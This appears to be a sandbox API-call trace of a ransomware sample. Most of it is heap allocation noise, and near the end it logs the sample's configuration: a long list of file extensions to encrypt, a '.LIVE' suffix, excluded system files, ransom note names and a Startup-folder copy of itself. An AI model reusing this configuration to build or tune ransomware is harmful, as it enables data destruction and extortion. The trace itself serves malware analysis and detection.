[0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe0e8 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe100 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe118 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe130 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe148 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe160 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe178 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe190 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe1a8 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe1c0 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe1d8 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe1f0 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe208 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe220 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe238 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe250 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe268 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe280 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe298 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b7308 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe2b0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe2c8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe2e0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b7318 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe2f8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe310 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe328 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe340 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe358 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe370 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe388 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe3a0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe3b8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe3d0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe3e8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe400 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe418 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe430 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe448 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe460 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe478 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe490 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe4d0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe4e8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe500 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8fe8d0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8fe8e0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe518 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe530 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe548 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe560 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe578 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe590 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe5a8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe5c0 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe5d8 [0123.064] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe5f0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe608 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe620 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe638 [0123.065] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8c58, Size=0x400) returned 0x8da0b8 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe650 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe668 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe680 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe698 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe6b0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe6c8 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe6e0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe6f8 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe710 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe728 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8fe8f0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe740 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe758 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe770 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe788 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe7a0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe7b8 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8fe7d0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe7e8 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe800 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe818 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe830 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe848 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe860 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe878 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe890 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8fe900 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da4d8 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da4f0 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da508 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da520 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da538 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da550 [0123.065] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da568 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da580 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da598 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8da5b0 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da5c8 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8da5e0 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da5f8 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da610 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da628 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da640 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da658 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8da670 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da688 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da6a0 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da6b8 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da6d0 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da6e8 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da700 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da718 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da730 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da748 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da760 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da778 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da790 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da7a8 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da7c0 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da7d8 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da7f0 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da808 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8da820 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12) returned 0x8b6318 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da838 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da850 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da868 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da880 [0123.066] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da898 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da8d8 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da8f0 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da908 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da920 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da938 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da950 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da968 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da980 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da998 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da9b0 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da9c8 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da9e0 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8da9f8 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8daa10 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8daa28 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8daa40 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8daa58 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8daa70 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8daa88 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8daaa0 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8fe910 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8daab8 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8fe920 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8daad0 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8daae8 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dab00 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8dab18 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8dab30 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dab48 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8dab60 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dab78 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dab90 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8daba8 [0123.067] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dabc0 [0123.068] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8dabd8 [0123.068] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8dabf0 [0123.068] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dac08 [0123.068] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8fe930 [0123.068] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dac20 [0123.068] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8dac38 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8da0b8, Size=0x800) returned 0x8db0c0 [0123.068] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0123.068] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd0b0 | out: hHeap=0x880000) returned 1 [0123.068] lstrlenW (lpString="") returned 0 [0123.068] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dba00 | out: hHeap=0x880000) returned 1 [0123.068] lstrlenW (lpString=".LIVE") returned 5 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894d00, Size=0x8) returned 0x894d00 [0123.068] lstrlenW (lpString=".LIVE") returned 5 [0123.068] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dba00 | out: hHeap=0x880000) returned 1 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba30, Size=0x20) returned 0x894788 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894788, Size=0x40) returned 0x8fa1a0 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa1a0, Size=0x80) returned 0x8fb0c8 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9a0, Size=0x8) returned 0x8fe9b0 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9b0, Size=0x10) returned 0x8dba30 [0123.068] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba30, Size=0x20) returned 0x894760 [0123.068] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0123.069] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb0c8 | out: hHeap=0x880000) returned 1 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba60, Size=0x20) returned 0x8b5cf8 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5cf8, Size=0x40) returned 0x8fa1a0 [0123.069] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0123.069] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0123.069] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fa1a0 | out: hHeap=0x880000) returned 1 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba60, Size=0x20) returned 0x8b5cf8 [0123.069] lstrlenW (lpString="Info.hta") returned 8 [0123.069] lstrlenW (lpString="Info.hta") returned 8 [0123.069] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0123.069] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8dbcc8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0123.069] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbcc8 | out: hHeap=0x880000) returned 1 [0123.069] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894760, Size=0x40) returned 0x8fa1a0 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba60, Size=0x20) returned 0x894760 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba60, Size=0x20) returned 0x8b5cf8 [0123.069] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5cf8, Size=0x40) returned 0x8fa1e8 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa1e8, Size=0x80) returned 0x8fb0c8 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8b8c58 [0123.070] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0123.070] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8c58 | out: hHeap=0x880000) returned 1 [0123.070] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x8dbcc8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0123.070] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fecb8 | out: hHeap=0x880000) returned 1 [0123.070] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbcc8 | out: hHeap=0x880000) returned 1 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9b0, Size=0x8) returned 0x8fe9a0 [0123.070] lstrlenW (lpString="%windir%;") returned 9 [0123.070] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894760 | out: hHeap=0x880000) returned 1 [0123.070] lstrlenW (lpString="C:\\Windows;") returned 11 [0123.070] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ca0b0 | out: hHeap=0x880000) returned 1 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dba78, Size=0x20) returned 0x894760 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894760, Size=0x40) returned 0x8fa1e8 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa1e8, Size=0x80) returned 0x8fb0c8 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8b8c58 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9e0, Size=0x8) returned 0x8fe9f0 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9f0, Size=0x10) returned 0x8dbac0 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbac0, Size=0x20) returned 0x894760 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9b0, Size=0x8) returned 0x8fe9f0 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9c0, Size=0x8) returned 0x8fe9b0 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9e0, Size=0x8) returned 0x8fea00 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea00, Size=0x10) returned 0x8dbb68 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbb68, Size=0x20) returned 0x8b5cf8 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9f0, Size=0x10) returned 0x8dbb68 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9b0, Size=0x10) returned 0x8dbb98 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9f0, Size=0x8) returned 0x8fe9e0 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea10, Size=0x8) returned 0x8fea20 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbb68, Size=0x20) returned 0x8b5d48 [0123.070] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbb98, Size=0x20) returned 0x8b5c58 [0123.071] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea30, Size=0x8) returned 0x8fea40 [0123.071] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0123.071] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8c58 | out: hHeap=0x880000) returned 1 